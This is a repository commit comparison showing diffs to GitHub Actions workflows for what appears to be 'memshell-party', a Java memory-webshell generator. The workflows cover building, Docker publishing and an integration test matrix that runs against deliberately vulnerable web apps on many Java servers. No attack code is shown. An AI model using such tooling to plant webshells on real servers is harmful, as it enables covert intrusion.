Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 | ||
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 | ||
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 | ||
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 | ||
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f | ||
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 | ||
|
|
0192aa58ea | ||
|
|
00b807f5f8 | ||
|
|
cd189a74f7 | ||
|
|
690cfb833f | ||
|
|
45f2bb148d | ||
|
|
e7a14bf2e3 | ||
|
|
28fb25781b | ||
|
|
58f471ca2c | ||
|
|
db87c3f317 | ||
|
|
5635deff23 | ||
|
|
bda018b93f | ||
|
|
4d36c0bc8f | ||
|
|
ad4a0cf2bf | ||
|
|
9c820f9d29 | ||
|
|
a48442fcab | ||
|
|
68791f6c15 | ||
|
|
479b2a0c16 | ||
|
|
a148fa1cb9 | ||
|
|
116f1034b0 | ||
|
|
db55765fdf | ||
|
|
8b67d639bd | ||
|
|
cead11c781 | ||
|
|
43dc5ca398 | ||
|
|
ede78f3efc | ||
|
|
72370a3b84 | ||
|
|
ad248f0703 | ||
|
|
358f66ff01 | ||
|
|
76a78f14e0 | ||
|
|
33a9008ecb | ||
|
|
b27b40c543 | ||
|
|
74cc792dc6 | ||
|
|
348e86079a | ||
|
|
d4160d9a94 | ||
|
|
19c40e0e2d | ||
|
|
b49af93bec | ||
|
|
d9e3e03def | ||
|
|
bba2b2d211 | ||
|
|
56f0e8001d | ||
|
|
2f80ecb020 | ||
|
|
b3bda20f2c | ||
|
|
be5a2089d2 | ||
|
|
9d2e8125d9 | ||
|
|
8964769be8 | ||
|
|
3acab6e620 | ||
|
|
5148414ca8 | ||
|
|
0b10a55f66 | ||
|
|
cbf2d02808 | ||
|
|
775fc38abe | ||
|
|
6b3f4a2606 | ||
|
|
52c720572f | ||
|
|
5e2242665b | ||
|
|
cdd145d0b2 | ||
|
|
18aa8ed60d | ||
|
|
3e40763724 | ||
|
|
eda6134262 | ||
|
|
9d81160b33 | ||
|
|
115b57c62e | ||
|
|
1b8a845635 | ||
|
|
3ccbd14256 | ||
|
|
56510c89db | ||
|
|
358184f71b | ||
|
|
6ee9e31aa8 | ||
|
|
501f7a2d10 | ||
|
|
8b3c23241a | ||
|
|
3af560a5e0 | ||
|
|
a8d1b5e29a | ||
|
|
21f9af2f70 | ||
|
|
583abbf9ba | ||
|
|
e71f980991 | ||
|
|
d9c3bcb5dd | ||
|
|
61905e35ca | ||
|
|
27f3a7b206 | ||
|
|
bcb9d23f64 | ||
|
|
d993a54fa9 | ||
|
|
7eb8baeaf2 | ||
|
|
591375f522 | ||
|
|
6436d404d7 | ||
|
|
ef487f86d2 | ||
|
|
011f919e2a | ||
|
|
f8624f0e72 | ||
|
|
b287fcd36f | ||
|
|
7fb404f04f | ||
|
|
45dc276300 | ||
|
|
e811ca56ae | ||
|
|
58dd08754d | ||
|
|
6145918df7 | ||
|
|
6671dec9e6 | ||
|
|
f53c0655d4 | ||
|
|
1bcecaa151 | ||
|
|
e21b397699 | ||
|
|
cd870594b0 | ||
|
|
067dae90ff | ||
|
|
69b5b5e99f | ||
|
|
29edaf173a | ||
|
|
4f8ab4d16a | ||
|
|
ee3bab6876 | ||
|
|
6523ecd554 | ||
|
|
f97c0cd3db | ||
|
|
7da215bd35 | ||
|
|
8171da5df3 | ||
|
|
92e38ae004 | ||
|
|
6113ea717f | ||
|
|
a6cc7705c3 | ||
|
|
84b884a3d8 | ||
|
|
828b7b8400 | ||
|
|
786e58cafc | ||
|
|
5ce3e67dc4 | ||
|
|
94e29588bb | ||
|
|
fa1ca573ae | ||
|
|
78795f3b95 | ||
|
|
3efe814d30 | ||
|
|
8d7ed8c4ee | ||
|
|
cc58c2ef87 | ||
|
|
4f69497680 | ||
|
|
c046d466db | ||
|
|
9291281a4e | ||
|
|
50234947b7 | ||
|
|
075ce8c515 | ||
|
|
ca4c1d6e4b | ||
|
|
d4067caee5 | ||
|
|
cf65fbb53c | ||
|
|
962914fa8d | ||
|
|
f90f0f0713 | ||
|
|
a64238eea0 | ||
|
|
ce11635876 | ||
|
|
1015c55b6d | ||
|
|
8ed16fc818 | ||
|
|
24a9b563e6 | ||
|
|
8d5af74733 | ||
|
|
363d0591dc | ||
|
|
fe1a443c0d | ||
|
|
113b174837 | ||
|
|
f42424ba7c | ||
|
|
19ecd109fc | ||
|
|
9f763906ae | ||
|
|
be91430bd5 | ||
|
|
5bed6c877d | ||
|
|
633508ceda | ||
|
|
e26cb37805 | ||
|
|
3efda487e9 | ||
|
|
f92d7207c8 | ||
|
|
5540016f12 | ||
|
|
0402065457 | ||
|
|
9fae3847ae | ||
|
|
f4bc254ed3 | ||
|
|
a1d4a6d8fa | ||
|
|
7afa5d97f6 | ||
|
|
a6f5ee96d6 | ||
|
|
1f04701cc1 | ||
|
|
b272c9739b | ||
|
|
b5903f39fa | ||
|
|
99c53b6287 | ||
|
|
1dfc28cd33 | ||
|
|
c44ae3ad4f | ||
|
|
b5031012ba | ||
|
|
5340de9b71 | ||
|
|
f71657b11c | ||
|
|
d6612d7630 | ||
|
|
858212cd9c | ||
|
|
8e36beaad1 | ||
|
|
d511a8346f | ||
|
|
b8116ac0a5 | ||
|
|
155310a685 | ||
|
|
a6a1cff2c4 | ||
|
|
7ae28d5457 | ||
|
|
8a909971f1 | ||
|
|
371402c144 | ||
|
|
2b34b80e40 | ||
|
|
b694073f33 | ||
|
|
2f2ef8a774 | ||
|
|
86734f8485 | ||
|
|
393693b89b | ||
|
|
2da2e180cb | ||
|
|
8e741b6647 | ||
|
|
717c81571b | ||
|
|
2ec43d97dd | ||
|
|
c9a536d2fd | ||
|
|
74a919c6ec | ||
|
|
e123c7485e | ||
|
|
d6d10dead0 | ||
|
|
696814fd2c | ||
|
|
87147d738a | ||
|
|
c205e69563 | ||
|
|
dddbc15dd8 | ||
|
|
77ae8c1559 | ||
|
|
3fe380ef8a | ||
|
|
a54c307bd5 | ||
|
|
3d14f0113e | ||
|
|
b1d449538d | ||
|
|
4f1634a843 | ||
|
|
8fe2b47805 | ||
|
|
c30e99a92c | ||
|
|
5f4880e72a | ||
|
|
b7326a386b | ||
|
|
6b9655bb6c | ||
|
|
f9b109d922 | ||
|
|
ee82fc102d | ||
|
|
cfa4bfdb1d | ||
|
|
889d1d87c7 | ||
|
|
bea468a311 | ||
|
|
e31d8e751d | ||
|
|
92bda08567 | ||
|
|
d052177731 | ||
|
|
76dab18099 | ||
|
|
6e729d0e35 | ||
|
|
328939db6a | ||
|
|
32c5242c52 | ||
|
|
c860bbfd87 | ||
|
|
b32c9e701e | ||
|
|
41c193074e | ||
|
|
eaf6a81c85 | ||
|
|
22392829e5 | ||
|
|
65a7fd46e3 | ||
|
|
7dd02f4431 | ||
|
|
54f38e48d2 | ||
|
|
c232e64b13 | ||
|
|
78e9401492 | ||
|
|
a5c8058cad | ||
|
|
3189ef8f70 | ||
|
|
c859655e3a | ||
|
|
1272ee46b4 | ||
|
|
b83a72a3c8 | ||
|
|
89e4c796b4 | ||
|
|
ff3c1f2c49 | ||
|
|
2dc406df34 | ||
|
|
6c23a15034 | ||
|
|
6b81791ff5 | ||
|
|
6ba96f5e5a | ||
|
|
21df9f8273 | ||
|
|
4219f1ba9d | ||
|
|
0d69049506 | ||
|
|
385e1e0102 | ||
|
|
12fde31663 | ||
|
|
9f1f4b76aa | ||
|
|
4d1291f209 | ||
|
|
43653b2a1b | ||
|
|
514f13f515 | ||
|
|
ff69716423 | ||
|
|
fc431b9ace | ||
|
|
944e72f8c5 | ||
|
|
7be31dc481 | ||
|
|
dfc714862e | ||
|
|
c7c4b8be84 | ||
|
|
75019e9847 | ||
|
|
c6f13dde5e | ||
|
|
fcbec8db19 | ||
|
|
b9f307dd7b | ||
|
|
a895826bdb | ||
|
|
527dad824e | ||
|
|
534db31fa0 | ||
|
|
2b00c96a06 | ||
|
|
22e3b9ab24 | ||
|
|
901483c1db | ||
|
|
c9351dcd68 | ||
|
|
845fbd5529 | ||
|
|
fe2192396a | ||
|
|
63c0d89462 | ||
|
|
2436c707db | ||
|
|
c49d3e1909 | ||
|
|
7f9276364a | ||
|
|
57feb7809c | ||
|
|
6e330bb9c1 | ||
|
|
8fcca5b70e | ||
|
|
f3b3ca7b2e | ||
|
|
5ec6f6c3cc | ||
|
|
699169d277 | ||
|
|
6197d66ee8 | ||
|
|
7efbff4a45 | ||
|
|
37e336e088 | ||
|
|
65fb0a05df | ||
|
|
6bdc47a7d5 | ||
|
|
9ed876297a | ||
|
|
74cb677e98 | ||
|
|
13ddea499a | ||
|
|
82fddf702f | ||
|
|
8530797a54 | ||
|
|
6d12cbba36 | ||
|
|
992aa8a29d | ||
|
|
4ddf8dd3d1 | ||
|
|
6d7a665ba7 | ||
|
|
15e3af9374 | ||
|
|
c39075eaae | ||
|
|
6c523c55c7 | ||
|
|
bb76313410 | ||
|
|
1f4a19dd83 | ||
|
|
385de37d56 | ||
|
|
7ddf2c09c4 | ||
|
|
40c036ab92 | ||
|
|
59b0aeaaca | ||
|
|
3756197bab | ||
|
|
6020e5eaa9 | ||
|
|
9360408f6d | ||
|
|
0cd08f2a6c | ||
|
|
1ff8fa6128 | ||
|
|
c07fcc28a4 | ||
|
|
cfc4c0531f | ||
|
|
13cbbdb54f | ||
|
|
4feeca1ca8 | ||
|
|
64f8724903 | ||
|
|
4f4384838a | ||
|
|
c72ae586a2 | ||
|
|
d7a40f74b8 | ||
|
|
0e250cac90 | ||
|
|
209fc378d0 | ||
|
|
d541041f51 | ||
|
|
6617d9cc16 | ||
|
|
ec42992c8a | ||
|
|
3004221fad | ||
|
|
98b955673b | ||
|
|
a7cee2ea21 | ||
|
|
b6e6b69339 | ||
|
|
cc05dc3934 | ||
|
|
61bf9d25bb | ||
|
|
ffbe1e454b | ||
|
|
85576ab6c7 | ||
|
|
365f4efea0 | ||
|
|
a0d6cbee82 | ||
|
|
421f011974 | ||
|
|
0035d1f6a5 | ||
|
|
ba9a7878e0 | ||
|
|
75ea80f153 | ||
|
|
9c5aabb8f0 | ||
|
|
7887a48fa8 | ||
|
|
c07e1fcf19 | ||
|
|
d2036b87f4 | ||
|
|
b09b671831 | ||
|
|
d3d3c0186d | ||
|
|
706e2b06d4 | ||
|
|
e0345767d6 | ||
|
|
7d697fe2ec | ||
|
|
14c62376d7 | ||
|
|
065c111ad7 | ||
|
|
f3da4292bb | ||
|
|
ed51f01b29 | ||
|
|
81007167ff | ||
|
|
288766eb9c | ||
|
|
b8d4c91a1f | ||
|
|
46dff40932 | ||
|
|
f7bf419f31 | ||
|
|
9fe244e9ca | ||
|
|
b0ef130e87 | ||
|
|
714fa99c90 | ||
|
|
1a12d426dc | ||
|
|
00c36ab90d | ||
|
|
0e7aa6b0b0 | ||
|
|
96a00c9dcc | ||
|
|
886d808f31 | ||
|
|
b6c881c5cb | ||
|
|
400a7bfab7 | ||
|
|
b78984b858 | ||
|
|
21afe14ccd | ||
|
|
7fa4dee03b | ||
|
|
e718af7440 | ||
|
|
a530d77351 | ||
|
|
671aef548b | ||
|
|
9661eefc3e | ||
|
|
d620212eb0 | ||
|
|
7d3eb11be6 | ||
|
|
f0905d83a8 | ||
|
|
65c9d5847d | ||
|
|
bbeff2726d | ||
|
|
a20f760cd5 | ||
|
|
56d5410279 | ||
|
|
0cc70940c3 | ||
|
|
d148261a37 | ||
|
|
2660076eda | ||
|
|
05b85670d5 | ||
|
|
b904fe0851 | ||
|
|
c904f313e2 | ||
|
|
7a453faeb0 |
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../web/content/docs/changelog.mdx") as f:
|
with open("../../CHANGELOG.md") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -12,26 +12,18 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
strategy:
|
runs-on: ubuntu-latest
|
||||||
matrix:
|
|
||||||
os: [ubuntu-latest, windows-latest]
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -42,16 +34,10 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Linux)
|
- name: Build Boot with Gradle
|
||||||
if: matrix.os == 'ubuntu-latest'
|
run: ./gradlew :boot:bootjar -x test
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Windows)
|
- name: Upload Boot Jar
|
||||||
if: matrix.os == 'windows-latest'
|
|
||||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Upload Boot Jar (Linux)
|
|
||||||
if: matrix.os == 'ubuntu-latest'
|
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
@@ -62,28 +48,28 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v8
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -95,15 +81,15 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
|
|||||||
@@ -1,41 +0,0 @@
|
|||||||
name: Docker Build Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'examples/**'
|
|
||||||
- 'vul/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
docker-build-test:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Build Docker image
|
|
||||||
run: |
|
|
||||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
|
||||||
docker images
|
|
||||||
- name: Run Docker container
|
|
||||||
run: |
|
|
||||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
|
||||||
sleep 10
|
|
||||||
- name: Test with curl
|
|
||||||
run: |
|
|
||||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
|
||||||
echo "Test successful!"
|
|
||||||
else
|
|
||||||
echo "Test failed!"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
name: docker-push
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
path:
|
|
||||||
description: 'Path'
|
|
||||||
required: true
|
|
||||||
default: '/redqueen-memshell-party'
|
|
||||||
tag:
|
|
||||||
description: "Tag"
|
|
||||||
required: true
|
|
||||||
default: "redqueen"
|
|
||||||
jobs:
|
|
||||||
docker-push:
|
|
||||||
name: Docker Push
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Login to Docker Hub
|
|
||||||
uses: docker/login-action@v4
|
|
||||||
with:
|
|
||||||
registry: docker.io
|
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
|
||||||
|
|
||||||
- name: Set up QEMU
|
|
||||||
uses: docker/setup-qemu-action@v4
|
|
||||||
- name: Set up Docker Buildx
|
|
||||||
uses: docker/setup-buildx-action@v4
|
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
|
||||||
uses: docker/build-push-action@v7
|
|
||||||
with:
|
|
||||||
context: .
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
build-args: |
|
|
||||||
ROUTE_ROOT_PATH=${{ inputs.path }}
|
|
||||||
CONTEXT_PATH=${{ inputs.path }}
|
|
||||||
push: true
|
|
||||||
tags: |
|
|
||||||
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
|
||||||
@@ -1,78 +0,0 @@
|
|||||||
name: MemShell IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- './github/workflows/memshell-integration-test.yml'
|
|
||||||
- '**/memshell/**'
|
|
||||||
- '**/packer/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
memshell-integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
|
||||||
- middleware: "xxljob"
|
|
||||||
depend_tasks: ""
